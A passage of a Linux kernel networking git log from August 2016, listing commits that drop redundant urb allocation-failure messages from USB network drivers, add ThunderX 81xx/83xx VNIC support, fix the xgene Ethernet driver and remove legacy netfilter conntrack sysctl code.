14:53:41 2016 -0700 Merge branch 'net-urb-alloc-failure' Wolfram Sang says: ==================== net: don't print error when allocating urb fails This per-subsystem series is part of a tree wide cleanup. usb_alloc_urb() uses kmalloc which already prints enough information on failure. So, let's simply remove those "allocation failed" messages from drivers like we did already for other -ENOMEM cases. gkh acked this approach when we talked about it at LCJ in Tokyo a few weeks ago. ==================== Signed-off-by: David S. Miller commit eb36333896f8e380f7357bdbc1a7dc28b33c6a96 Author: Wolfram Sang Date: Thu Aug 11 23:13:08 2016 +0200 net: wireless: realtek: rtlwifi: usb: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Acked-by: Larry Finger Signed-off-by: David S. Miller drivers/net/wireless/realtek/rtlwifi/usb.c | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) commit dbea99d6d95db68df004b2a0341418338e9b9130 Author: Wolfram Sang Date: Thu Aug 11 23:13:07 2016 +0200 net: wireless: marvell: mwifiex: usb: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: David S. Miller drivers/net/wireless/marvell/mwifiex/usb.c | 19 ++++--------------- 1 file changed, 4 insertions(+), 15 deletions(-) commit da8794ce8e776d82c7ef417eafb14c749d2c1f37 Author: Wolfram Sang Date: Thu Aug 11 23:13:06 2016 +0200 net: wireless: marvell: libertas_tf: if_usb: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: David S. Miller drivers/net/wireless/marvell/libertas_tf/if_usb.c | 12 +++--------- 1 file changed, 3 insertions(+), 9 deletions(-) commit 3de6e8852f55b6607ae2f5638a2a755478cee98a Author: Wolfram Sang Date: Thu Aug 11 23:13:05 2016 +0200 net: wireless: intersil: orinoco: orinoco_usb: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: David S. Miller drivers/net/wireless/intersil/orinoco/orinoco_usb.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 938f89e50a41c2d56710805fb019ad7618cef84b Author: Wolfram Sang Date: Thu Aug 11 23:05:31 2016 +0200 net: wireless: broadcom: brcm80211: brcmfmac: usb: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: David S. Miller drivers/net/wireless/broadcom/brcm80211/brcmfmac/usb.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit 71c4c616eced093d90d37fec06b8e965a864eaa4 Author: Wolfram Sang Date: Thu Aug 11 23:05:30 2016 +0200 net: wireless: ath: ar5523: ar5523: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: David S. Miller drivers/net/wireless/ath/ar5523/ar5523.c | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) commit aa38b885e52149cd0726e09c857b65740824d755 Author: Wolfram Sang Date: Thu Aug 11 23:05:29 2016 +0200 net: wimax: i2400m: usb-notif: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: David S. Miller drivers/net/wimax/i2400m/usb-notif.c | 1 - 1 file changed, 1 deletion(-) commit ef6cd1301e06e0a5de24938b92c5859d5021ea5d Author: Wolfram Sang Date: Thu Aug 11 23:05:28 2016 +0200 net: usb: usbnet: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: David S. Miller drivers/net/usb/usbnet.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit d7c4e84e34813d9d2cbb9ec72fb8cbcbb71340c0 Author: Wolfram Sang Date: Thu Aug 11 23:05:27 2016 +0200 net: usb: lan78xx: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Acked-by: Woojung Huh Signed-off-by: David S. Miller drivers/net/usb/lan78xx.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 12800ea95a888f71983fd2deb69270fbd0702194 Author: Wolfram Sang Date: Thu Aug 11 23:05:26 2016 +0200 net: usb: hso: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: David S. Miller drivers/net/usb/hso.c | 20 +++++--------------- 1 file changed, 5 insertions(+), 15 deletions(-) commit 7fe7cfa43a99056ffa52aed4053693dedc3cbbbb Author: Wolfram Sang Date: Thu Aug 11 23:05:25 2016 +0200 net: can: usb: usb_8dev: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: David S. Miller drivers/net/can/usb/usb_8dev.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit 2479204b256392a170ba819411b14c3da0bee1b5 Author: Wolfram Sang Date: Thu Aug 11 23:05:24 2016 +0200 net: can: usb: peak_usb: pcan_usb_core: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: David S. Miller drivers/net/can/usb/peak_usb/pcan_usb_core.c | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit bc1af47df2bc52b8cfad7e455fd1cb6fbd8cd6b3 Author: Wolfram Sang Date: Thu Aug 11 23:05:23 2016 +0200 net: can: usb: kvaser_usb: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: David S. Miller drivers/net/can/usb/kvaser_usb.c | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) commit 2a4a1e4013bddb60939328cc8bb99adf458d14af Author: Wolfram Sang Date: Thu Aug 11 23:05:22 2016 +0200 net: can: usb: gs_usb: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: David S. Miller drivers/net/can/usb/gs_usb.c | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) commit 912f85e104f4dfc46bf33e6b5eef1f72a39d0336 Author: Wolfram Sang Date: Thu Aug 11 23:05:21 2016 +0200 net: can: usb: esd_usb2: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: David S. Miller drivers/net/can/usb/esd_usb2.c | 3 --- 1 file changed, 3 deletions(-) commit 87ced2f9584efc476b955eb2343728fab20ff80b Author: Wolfram Sang Date: Thu Aug 11 23:05:20 2016 +0200 net: can: usb: ems_usb: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: David S. Miller drivers/net/can/usb/ems_usb.c | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) commit 6176e89c5734e597f3e2279c8d5629a523cf6537 Author: Jiri Kosina Date: Fri Aug 12 16:34:49 2016 +0200 net: fix up a few missing hashtable.h conflict resolutions There are a couple of leftover symbol conflicts caused by hashtable.h being included by netdevice.h; those were not caught as build failure (they're "only" a warning, but in fact real bugs). Fix those up. Fixes: e87a8f24c ("net: resolve symbol conflicts with generic hashtable.h") Reported-by: Daniel Borkmann Signed-off-by: Jiri Kosina Signed-off-by: David S. Miller drivers/net/ethernet/dec/tulip/de4x5.c | 4 ++-- drivers/net/ethernet/dec/tulip/de4x5.h | 4 ++-- drivers/net/ethernet/freescale/fec_main.c | 6 +++--- 3 files changed, 7 insertions(+), 7 deletions(-) commit a31eb63a0a392d38c00dd292f81623bf933aa6bc Merge: 2ce66f9 93db2cf Author: David S. Miller Date: Sat Aug 13 12:00:49 2016 -0700 Merge branch 'thunderx-next' Sunil Goutham says: ==================== net: thunderx: Support for newer chips and miscellaneous patches This patch series adds support for VNIC on 81xx and 83xx SOCs. 81xx/83xx is different from 88xx in terms of capabilities and new type of interfaces supported (eg: QSGMII, RGMII) and have DLMs instead of QLMs which allows single BGX to have interfaces of different LMAC types. Also included some patches which are common for all 88xx/81xx/83xx SOCs like using netdev's name while registering irqs, reset receive queue stats and some changes to use standard API for split buffer Rx packets, generating RSS key e.t.c PS: Most of the patches were submitted earlier under different series but for some reason were not picked up by patchwork. Since new patches have been added in the meantime, resubmitting all as a new patchset. Changes from v1: - Incorporated Yuval Mintz's suggestion to use generic API to set minimum queue count i.e by using netif_get_num_default_rss_queues(). - Resolved a compilation issue reported by test robot while compiling patch 'Add support for 16 LMACs of 83xx' ==================== Signed-off-by: David S. Miller commit 93db2cf8caa1fa69cb833175cc5d30a7d178d53b Author: Sunil Goutham Date: Fri Aug 12 16:51:44 2016 +0530 net: thunderx: Don't set RX_PACKET_DIS while initializing Setting BGXX_SPUX_MISC_CONTROL::RX_PACKET_DIS is not needed as packet reception is anyway disabled by BGXX_CMRX_CONFIG::DATA_PKT_RX_EN. Also setting RX_PACKET_DIS causes a bogus remote fault condition which delays link detection. Signed-off-by: Sunil Goutham Signed-off-by: David S. Miller drivers/net/ethernet/cavium/thunder/thunder_bgx.c | 18 +++++++----------- 1 file changed, 7 insertions(+), 11 deletions(-) commit 0052c92f8f84ef94210b91dd471a3dfa1f25625a Author: Sunil Goutham Date: Fri Aug 12 16:51:43 2016 +0530 net: thunderx: Use netdev_rss_key_fill() helper Use standard API to generate a random RSS hash key on every boot. Signed-off-by: Sunil Goutham Signed-off-by: David S. Miller drivers/net/ethernet/cavium/thunder/nicvf_main.c | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) commit e22e86ea987d4ea341d30d9891c48e3ccac0c634 Author: Zyta Szpak Date: Fri Aug 12 16:51:42 2016 +0530 net: thunderx: Configure tunnelling protocol parsing This patch enables parsing of inner layers for tunnelled packets. Signed-off-by: Zyta Szpak Signed-off-by: Sunil Goutham Signed-off-by: David S. Miller drivers/net/ethernet/cavium/thunder/nic_main.c | 21 +++++++++++++++++++++ drivers/net/ethernet/cavium/thunder/nic_reg.h | 13 +++++++++++++ 2 files changed, 34 insertions(+) commit c43548d26cb4b699910a3cb5308ce89e7acb30fe Author: Sunil Goutham Date: Fri Aug 12 16:51:41 2016 +0530 net: thunderx: Use napi_consume_skb for bulk free This patch enables bulk freeing on the Tx side. Signed-off-by: Sunil Goutham Signed-off-by: David S. Miller drivers/net/ethernet/cavium/thunder/nicvf_main.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit a3a8ce4ce78d9b7c31c7e7f9327409a575bd6280 Author: Sunil Goutham Date: Fri Aug 12 16:51:40 2016 +0530 net: thunderx: Don't set mac address for secondary Qset VFs Set MAC addresses only for primary VF's and don't for secondary VFs. Signed-off-by: Sunil Goutham Signed-off-by: David S. Miller drivers/net/ethernet/cavium/thunder/nicvf_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3458c40d608ab7d3b2b591eb9b1f1b84502b55d2 Author: Jerin Jacob Date: Fri Aug 12 16:51:39 2016 +0530 net: thunderx: Reset RXQ HW stats when interface is brought down When SQ/TXQ is reclaimed i.e reset it's stats also automatically reset by HW. This is not the case with RQ. Also VF doesn't have write access to statistics counter registers. Hence a new Mbox msg is introduced which supports resetting RQ, SQ and full Qset stats. Currently only RQ stats are being reset using this mbox message. Signed-off-by: Jerin Jacob Signed-off-by: Sunil Goutham Signed-off-by: David S. Miller drivers/net/ethernet/cavium/thunder/nic.h | 27 +++++++++++++ drivers/net/ethernet/cavium/thunder/nic_main.c | 45 ++++++++++++++++++++++ drivers/net/ethernet/cavium/thunder/nicvf_queues.c | 15 ++++++++ 3 files changed, 87 insertions(+) commit ecae29cb15c1a9502bb24f44ff9b84075c0b1dcd Author: Radoslaw Biernacki Date: Fri Aug 12 16:51:38 2016 +0530 net: thunderx: Improvement for MBX interface debug messages Adding debug messages in case of NACK for a mailbox message, also did small cleanups. Signed-off-by: Radoslaw Biernacki Signed-off-by: Sunil Goutham Signed-off-by: David S. Miller drivers/net/ethernet/cavium/thunder/nic_main.c | 16 ++++++++++------ drivers/net/ethernet/cavium/thunder/nicvf_main.c | 8 ++++++-- 2 files changed, 16 insertions(+), 8 deletions(-) commit a8671acca87267ad8b583b6e5cf9f6bcb09ff77a Author: Sunil Goutham Date: Fri Aug 12 16:51:37 2016 +0530 net: thunderx: Use skb_add_rx_frag() for split buffer Rx pkts Instead of a round about way of converting buffers to SKBs and combining them into a frag list, use standard skb_add_rx_frag() API to merge page fragments. This code is useful when incoming packets are of size more than RCV_FRAG_LEN which is currently set to 2048bytes. Signed-off-by: Sunil Goutham Signed-off-by: David S. Miller drivers/net/ethernet/cavium/thunder/nicvf_queues.c | 24 ++++++---------------- 1 file changed, 6 insertions(+), 18 deletions(-) commit e412621394faacc24243abab84ce5b7a73407350 Author: Sunil Goutham Date: Fri Aug 12 16:51:36 2016 +0530 net: thunderx: Use netdev's name for naming VF's interrupts This patch changes the way VF's irqs are visible in /proc/interrupts. Instead of VF id, logical interface's netdev name is used for IRQ naming and also all secondary VF's interrupts in multiqset config use primary VF's netdev name. Signed-off-by: Sunil Goutham Signed-off-by: David S. Miller drivers/net/ethernet/cavium/thunder/nicvf_main.c | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) commit 09de39176b624b7556d190511aebd92da3420ec9 Author: Sunil Goutham Date: Fri Aug 12 16:51:35 2016 +0530 net: thunderx: Support for 83xx mixed QLM/DLM config 83xx has 4 BGX blocks and are enabled mixed QLM/DLM configs. BGX0/BGX1 are from QLM2/QLM3, BGX3 is DLM4 and BGX2 is split across DLM5 & DLM6. This patch adds support for BGX2's split config and also enables all 4 BGXs to be used. Signed-off-by: Sunil Goutham Signed-off-by: David S. Miller drivers/net/ethernet/cavium/thunder/thunder_bgx.c | 44 ++++++++++++----------- drivers/net/ethernet/cavium/thunder/thunder_bgx.h | 3 +- 2 files changed, 26 insertions(+), 21 deletions(-) commit 949b5331419828ff4c028dae556e5983b06b5d18 Author: Sunil Goutham Date: Fri Aug 12 16:51:34 2016 +0530 net: thunderx: Add support for 16 LMACs of 83xx 83xx will have 4 BGX blocks i.e 16 LMACs, to avoid changing the same with every platform, nicpf struct elements which track LMAC related info are now allocated runtime based on platform's max possible BGX count. Also fixed configuring min packet size for all LMAC's supported on a platform. Signed-off-by: Sunil Goutham Signed-off-by: David S. Miller drivers/net/ethernet/cavium/thunder/nic_main.c | 75 ++++++++++++++++++----- drivers/net/ethernet/cavium/thunder/thunder_bgx.h | 2 - 2 files changed, 60 insertions(+), 17 deletions(-) commit 6465859aba1e66a5351b047fbf40e9e9bcb6c669 Author: Sunil Goutham Date: Fri Aug 12 16:51:33 2016 +0530 net: thunderx: Add RGMII interface type support This patch adds RGX/RGMII interface type support to BGX driver. This type of interface is supported by 81xx SOC. CN81XX VNIC has 8 VFs and max possible LMAC interfaces are 9, hence RGMII interface will not work if all DLMs are in BGX mode and all 8 LMACs are enabled Signed-off-by: Sunil Goutham Signed-off-by: David S. Miller drivers/net/ethernet/cavium/Kconfig | 10 + drivers/net/ethernet/cavium/thunder/Makefile | 1 + drivers/net/ethernet/cavium/thunder/nic_main.c | 14 +- drivers/net/ethernet/cavium/thunder/thunder_bgx.c | 97 ++++++--- drivers/net/ethernet/cavium/thunder/thunder_bgx.h | 6 +- drivers/net/ethernet/cavium/thunder/thunder_xcv.c | 237 ++++++++++++++++++++++ 6 files changed, 332 insertions(+), 33 deletions(-) commit 3f8057cfe8adc12bd272fe2c67e3c9ab9cff0a12 Author: Sunil Goutham Date: Fri Aug 12 16:51:32 2016 +0530 net: thunderx: Add QSGMII interface type support This patch adds support for QSGMII interface type to the BGX driver. This type of interface is supported by 81xx SOC. Signed-off-by: Sunil Goutham Signed-off-by: David S. Miller drivers/net/ethernet/cavium/thunder/thunder_bgx.c | 65 ++++++++++++++++++----- drivers/net/ethernet/cavium/thunder/thunder_bgx.h | 1 + 2 files changed, 54 insertions(+), 12 deletions(-) commit 57aaf63cb13ca342bfeba6772df3a4e05a35e4ab Author: Sunil Goutham Date: Fri Aug 12 16:51:31 2016 +0530 net: thunderx: Add 81xx support to BGX driver This patch adds support for BGX module on 81xx where a BGX can be split and have different LMACs configured in different modes. Signed-off-by: Sunil Goutham Signed-off-by: David S. Miller drivers/net/ethernet/cavium/thunder/thunder_bgx.c | 112 ++++++++++++++++++++-- drivers/net/ethernet/cavium/thunder/thunder_bgx.h | 11 +++ 2 files changed, 113 insertions(+), 10 deletions(-) commit 0bcb7d510c857a7ecfe4196e7900786057255c5b Author: Sunil Goutham Date: Fri Aug 12 16:51:30 2016 +0530 net: thunderx: Support for different LMAC types within BGX On 88xx all LMACs in a BGX will be in same mode but on 81xx BGX can be split as two and there can be LMACs configured in different modes. These changes move lmac_type, lane2serdes fields into per lmac struct from BGX struct. Got rid of qlm_mode field which has become redundant with these changes. And now no of valid LMACs is read from CSRs configured by low level firmware and figuring out the same based on QLM mode is discarded Signed-off-by: Sunil Goutham Signed-off-by: David S. Miller drivers/net/ethernet/cavium/thunder/thunder_bgx.c | 224 ++++++++++------------ drivers/net/ethernet/cavium/thunder/thunder_bgx.h | 10 - 2 files changed, 98 insertions(+), 136 deletions(-) commit 52358aad36abb2bc9017d7319f2531b94429354d Author: Sunil Goutham Date: Fri Aug 12 16:51:29 2016 +0530 net: thunderx: Enable mailbox interrupts on 81xx/83xx 88xx has 128 VFs, 81xx has 8 VFs and 83xx will have 32VFs. Made changes to PF driver such that mailbox interrupt enable registers are configuired based on number of VFs HW supports. Also cleanedup mailbox irq handler registration code. Signed-off-by: Sunil Goutham Signed-off-by: David S. Miller drivers/net/ethernet/cavium/thunder/nic_main.c | 88 +++++++++++++++----------- 1 file changed, 50 insertions(+), 38 deletions(-) commit 02a72bd8cded6aea8385d996b7d3d5403653f88a Author: Sunil Goutham Date: Fri Aug 12 16:51:28 2016 +0530 net: thunderx: Enable CQE_RX desc's extension fields Unlike 88xx, CQE_RX descriptor's tunnelling extension i.e CQE_RX2_S is always enabled on 81xx/83xx and HW does insert these fields into CQE_RX. As a result receive buffer addresses will now be present at 7th word of CQE_RX instead of 6th. Enable CQE_RX2_S on 88xx pass 2.x as well. Signed-off-by: Sunil Goutham Signed-off-by: David S. Miller drivers/net/ethernet/cavium/thunder/nic.h | 9 ++++++++- drivers/net/ethernet/cavium/thunder/nic_main.c | 7 +++++++ drivers/net/ethernet/cavium/thunder/nic_reg.h | 1 + drivers/net/ethernet/cavium/thunder/nicvf_queues.c | 12 +++++++++++- 4 files changed, 27 insertions(+), 2 deletions(-) commit 3a397ebe154b385e5e3d0c7fee478ccef58742fc Author: Sunil Goutham Date: Fri Aug 12 16:51:27 2016 +0530 net: thunderx: Set queue count based on number of CPUs 81xx has only 4 CPUs, so it doesn't make sense to initialize entire Qset i.e 8 queues by default. Made changes to queue initialization to init queues equal to number of CPUs or 8 queues whichever is lesser. Also this will be applicable to VMs with VNIC VF attached and having less VCPUs Signed-off-by: Sunil Goutham Signed-off-by: David S. Miller drivers/net/ethernet/cavium/thunder/nic_main.c | 6 ++++++ drivers/net/ethernet/cavium/thunder/nicvf_main.c | 7 +++---- drivers/net/ethernet/cavium/thunder/nicvf_queues.c | 8 ++++---- drivers/net/ethernet/cavium/thunder/nicvf_queues.h | 5 +---- 4 files changed, 14 insertions(+), 12 deletions(-) commit 0025d93ebb9b4f7ad7807d22fe65852f447309a1 Author: Sunil Goutham Date: Fri Aug 12 16:51:26 2016 +0530 net: thunderx: Add support for 81xx and 83xx chips This patch adds info on HW maximums of 81xx/83xx and also configures receive and transmit datapaths accordingly. Signed-off-by: Sunil Goutham Signed-off-by: David S. Miller drivers/net/ethernet/cavium/thunder/nic_main.c | 87 ++++++++++++++++++----- drivers/net/ethernet/cavium/thunder/nic_reg.h | 1 + drivers/net/ethernet/cavium/thunder/thunder_bgx.h | 2 + 3 files changed, 73 insertions(+), 17 deletions(-) commit f7ff0ae844128e669704860d8c9d1ff510cee271 Author: Sunil Goutham Date: Fri Aug 12 16:51:25 2016 +0530 net: thunderx: Add VNIC's PCI devid on future chips This patch adds PCI device IDs of VNIC on newer chips and also registers VF driver with them. Device id remains same for all versions of chips but subsystem device id changes. Signed-off-by: Sunil Goutham Signed-off-by: David S. Miller drivers/net/ethernet/cavium/thunder/nic.h | 10 +++++++++- drivers/net/ethernet/cavium/thunder/nicvf_main.c | 14 ++++++++++++-- 2 files changed, 21 insertions(+), 3 deletions(-) commit a5c3d4985eeaddee795e5a4cd71be35e5e149896 Author: Sunil Goutham Date: Fri Aug 12 16:51:24 2016 +0530 net: thunderx: Moved HW capability info from macros to structure Current driver has most of the HW maximums info like no of channels, traffic limiters, RSS indices e.t.c in the form of macros. These have been moved into a 'hw_info' structure so that support for VNIC on newer chips with different set of HW maximums can be added. Signed-off-by: Sunil Goutham Signed-off-by: David S. Miller drivers/net/ethernet/cavium/thunder/nic.h | 41 ++--------- drivers/net/ethernet/cavium/thunder/nic_main.c | 96 +++++++++++++++++++++----- 2 files changed, 85 insertions(+), 52 deletions(-) commit 2ce66f9c65baefbbf48812429b465deb75672c5a Merge: 1c23876 5ac6caa Author: David S. Miller Date: Sat Aug 13 11:48:54 2016 -0700 Merge branch 'xgene-next' Iyappan Subramanian says: ==================== Fix warning and issues This patch set fixes the following warning and issues, 1. Fix compiler warnings - drivers: net: xgene: Fix compiler warnings 2. unmap DMA memory on xgene_Enet_delete_bufpoool() - drivers: net: xgene: fix: Add dma_unmap_single 3. Delete descriptor rings and buffer pools on error - drivers: net: xgene: fix: Delete descriptor rings and buffer pools 4. Fix error desconstruction on probe() - drivers: net: xgene: Fix error deconstruction path 5. Fix RSS indirection table fields - drivers: net: xgene: Fix RSS indirection table fields 6. Change the port init sequence as per hardware specification - drivers: net: xgene: Change port init sequence 7. Fix link not recovered after link is down issue - drivers: net: xgene: XFI PCS reset when link is down 8. Fix link up is reported when no SFP+ module is plugged in issue - drivers: net: xgene: Poll link status via GPIO - dtb: xgene: Add rxlos-gpios property - Documentation: dtb: xgene: Add rxlos GPIO mapping 9. Fix backward compatibility when used with older driver - drivers: net: xgene: Fix backward compatibility - dtb: xgene: Fix backward compatibility v2: Address review comments from v1 - Fixed compiler warnings - Removed kbuild fix patch, since Arnd submitted the same - Changed Kconfig to select GPIOLIB (to fix kbuild warning) - Added rxlos-gpio documentation - Fixed backward compatibility with older driver v1: - Initial version ==================== Signed-off-by: Iyappan Subramanian Tested-by: Fushen Chen Signed-off-by: David S. Miller commit 5ac6caab224921fd3331a7e4b19d34623c752d09 Author: Iyappan Subramanian Date: Fri Aug 12 22:05:48 2016 -0700 dtb: xgene: Fix backward compatibility This patch fixes the backward compatibility when used with older kernel. Signed-off-by: Iyappan Subramanian Signed-off-by: David S. Miller arch/arm64/boot/dts/apm/apm-storm.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 03377e381bf48d7aaa797577789551b04bce7006 Author: Iyappan Subramanian Date: Fri Aug 12 22:05:47 2016 -0700 drivers: net: xgene: Fix backward compatibility This patch fixes the backward compatibility on handling phy_connect(), by iterating over the phy-handle, when new DT is used with older kernel. Signed-off-by: Iyappan Subramanian Signed-off-by: David S. Miller drivers/net/ethernet/apm/xgene/xgene_enet_hw.c | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) commit c50fc2622cbce4341daf40a4e7ad3f1625c9e55c Author: Iyappan Subramanian Date: Fri Aug 12 22:05:46 2016 -0700 Documentation: dtb: xgene: Add rxlos GPIO mapping Signed-off-by: Quan Nguyen Signed-off-by: Iyappan Subramanian Tested-by: Fushen Chen Signed-off-by: David S. Miller Documentation/devicetree/bindings/net/apm-xgene-enet.txt | 3 +++ 1 file changed, 3 insertions(+) commit 72d256439fcfec43df4c498b1d9b6131c32a8994 Author: Iyappan Subramanian Date: Fri Aug 12 22:05:45 2016 -0700 dtb: xgene: Add rxlos-gpios property Added rxlos GPIO mapping by adding rxlos-gpios property. Signed-off-by: Quan Nguyen Signed-off-by: Iyappan Subramanian Tested-by: Fushen Chen Signed-off-by: David S. Miller arch/arm64/boot/dts/apm/apm-mustang.dts | 1 + 1 file changed, 1 insertion(+) commit 27ecf87c8a9d6152203ff5feb74535abd48e9ad3 Author: Iyappan Subramanian Date: Fri Aug 12 22:05:44 2016 -0700 drivers: net: xgene: Poll link status via GPIO When 10GbE SFP+ module is not plugged in or cable is not connected, the link status register does not report the proper state due to floating signal. This patch checks the module present status via an GPIO to determine whether to ignore the link status register and report link down. Signed-off-by: Quan Nguyen Signed-off-by: Iyappan Subramanian Tested-by: Fushen Chen Signed-off-by: David S. Miller drivers/net/ethernet/apm/xgene/Kconfig | 1 + drivers/net/ethernet/apm/xgene/xgene_enet_main.c | 15 +++++++++++++++ drivers/net/ethernet/apm/xgene/xgene_enet_main.h | 1 + drivers/net/ethernet/apm/xgene/xgene_enet_xgmac.c | 6 ++++++ 4 files changed, 23 insertions(+) commit 3eb7cb9dc94609c14c51029964ac4bfd59cc4d25 Author: Iyappan Subramanian Date: Fri Aug 12 22:05:43 2016 -0700 drivers: net: xgene: XFI PCS reset when link is down This patch fixes the link recovery issue, by doing PCS reset when the link is down. Signed-off-by: Fushen Chen Signed-off-by: Iyappan Subramanian Signed-off-by: David S. Miller drivers/net/ethernet/apm/xgene/xgene_enet_hw.h | 6 ++++ drivers/net/ethernet/apm/xgene/xgene_enet_main.c | 1 + drivers/net/ethernet/apm/xgene/xgene_enet_main.h | 1 + drivers/net/ethernet/apm/xgene/xgene_enet_xgmac.c | 42 +++++++++++++++++++++++ drivers/net/ethernet/apm/xgene/xgene_enet_xgmac.h | 4 +++ 5 files changed, 54 insertions(+) commit 4f1c8d811251876ee0a1e82c7379305faf589974 Author: Iyappan Subramanian Date: Fri Aug 12 22:05:42 2016 -0700 drivers: net: xgene: Change port init sequence This patch rearranges the port initialization sequence as recommended by hardware specification. This patch also removes, mac_init() call from xgene_enet_link_state(), as it was not required. Signed-off-by: Iyappan Subramanian Tested-by: Fushen Chen Signed-off-by: David S. Miller drivers/net/ethernet/apm/xgene/xgene_enet_xgmac.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 29b4eafbae9cc5eec19377f4e5637a6e2dedd6bc Author: Iyappan Subramanian Date: Fri Aug 12 22:05:41 2016 -0700 drivers: net: xgene: Fix RSS indirection table fields This patch fixes FPSel and NxtFPSel fields length to 5-bit value. Signed-off-by: Quan Nguyen Signed-off-by: Iyappan Subramanian Tested-by: Fushen Chen Signed-off-by: David S. Miller drivers/net/ethernet/apm/xgene/xgene_enet_cle.c | 17 ++++++++++++----- drivers/net/ethernet/apm/xgene/xgene_enet_cle.h | 10 +++++++--- 2 files changed, 19 insertions(+), 8 deletions(-) commit cecd6e510c65b25c9a3fcc09480f561189a7c3b8 Author: Iyappan Subramanian Date: Fri Aug 12 22:05:40 2016 -0700 drivers: net: xgene: Fix error deconstruction path Since register_netdev() call in xgene_enet_probe() was moved down to the end, it doesn't properly handle errors that may occur, by deconstructing everything that was setup before the error occurred. Signed-off-by: Iyappan Subramanian Signed-off-by: David S. Miller drivers/net/ethernet/apm/xgene/xgene_enet_main.c | 27 +++++++++++++++++------- 1 file changed, 19 insertions(+), 8 deletions(-) commit 15e32296e44738e6c8dff56c46fd18e9b4c9b6f6 Author: Iyappan Subramanian Date: Fri Aug 12 22:05:39 2016 -0700 drivers: net: xgene: fix: Delete descriptor rings and buffer pools xgene_enet_init_hw() should delete any descriptor rings and buffer pools setup should le_ops->cle_init() return an error. Signed-off-by: Iyappan Subramanian Signed-off-by: David S. Miller drivers/net/ethernet/apm/xgene/xgene_enet_main.c | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) commit 6e434627bce2a4ccf6d7eea50c08b4fdbb70dd3e Author: Iyappan Subramanian Date: Fri Aug 12 22:05:38 2016 -0700 drivers: net: xgene: fix: Add dma_unmap_single In addition to xgene_enet_delete_bufpool() freeing skbs, their associated dma memory should also be unmapped. Signed-off-by: Iyappan Subramanian Signed-off-by: David S. Miller drivers/net/ethernet/apm/xgene/xgene_enet_main.c | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) commit ee0f95440dc16dd0db9c2856bed1e7806d1839de Author: Iyappan Subramanian Date: Fri Aug 12 22:05:37 2016 -0700 drivers: net: xgene: Fix compiler warnings Fixed compiler warnings reported with -Wmaybe-uninitialized W=1, /drivers/net/ethernet/apm/xgene/xgene_enet_main.c: In function ‘xgene_enet_rx_frame’: ../drivers/net/ethernet/apm/xgene/xgene_enet_main.c:455:27: warning: variable ‘pdata’ set but not used [-Wunused-but-set-variable] struct xgene_enet_pdata *pdata; ^ ../drivers/net/ethernet/apm/xgene/xgene_enet_main.c: In function ‘xgene_enet_remove’: ../drivers/net/ethernet/apm/xgene/xgene_enet_main.c:1691:30: warning: variable ‘mac_ops’ set but not used [-Wunused-but-set-variable] const struct xgene_mac_ops *mac_ops; ^ Signed-off-by: Iyappan Subramanian Signed-off-by: David S. Miller drivers/net/ethernet/apm/xgene/xgene_enet_main.c | 4 ---- 1 file changed, 4 deletions(-) commit adf0516845bcd0e626323c858ece28ee58c74455 Author: Pablo Neira Ayuso Date: Fri Aug 12 13:47:06 2016 +0200 netfilter: remove ip_conntrack* sysctl compat code This backward compatibility has been around for more than ten years, since Yasuyuki Kozakai introduced IPv6 in conntrack. These days, we have alternate /proc/net/nf_conntrack* entries, the ctnetlink interface and the conntrack utility got adopted by many people in the user community according to what I observed on the netfilter user mailing list. So let's get rid of this. Note that nf_conntrack_htable_size and unsigned int nf_conntrack_max do not need to be exported as symbol anymore. Signed-off-by: Pablo Neira Ayuso include/net/netfilter/nf_conntrack_l4proto.h | 8 - include/net/netns/conntrack.h | 8 - net/ipv4/netfilter/Kconfig | 11 - net/ipv4/netfilter/Makefile | 5 - net/ipv4/netfilter/nf_conntrack_l3proto_ipv4.c | 70 --- .../netfilter/nf_conntrack_l3proto_ipv4_compat.c | 491 --------------------- 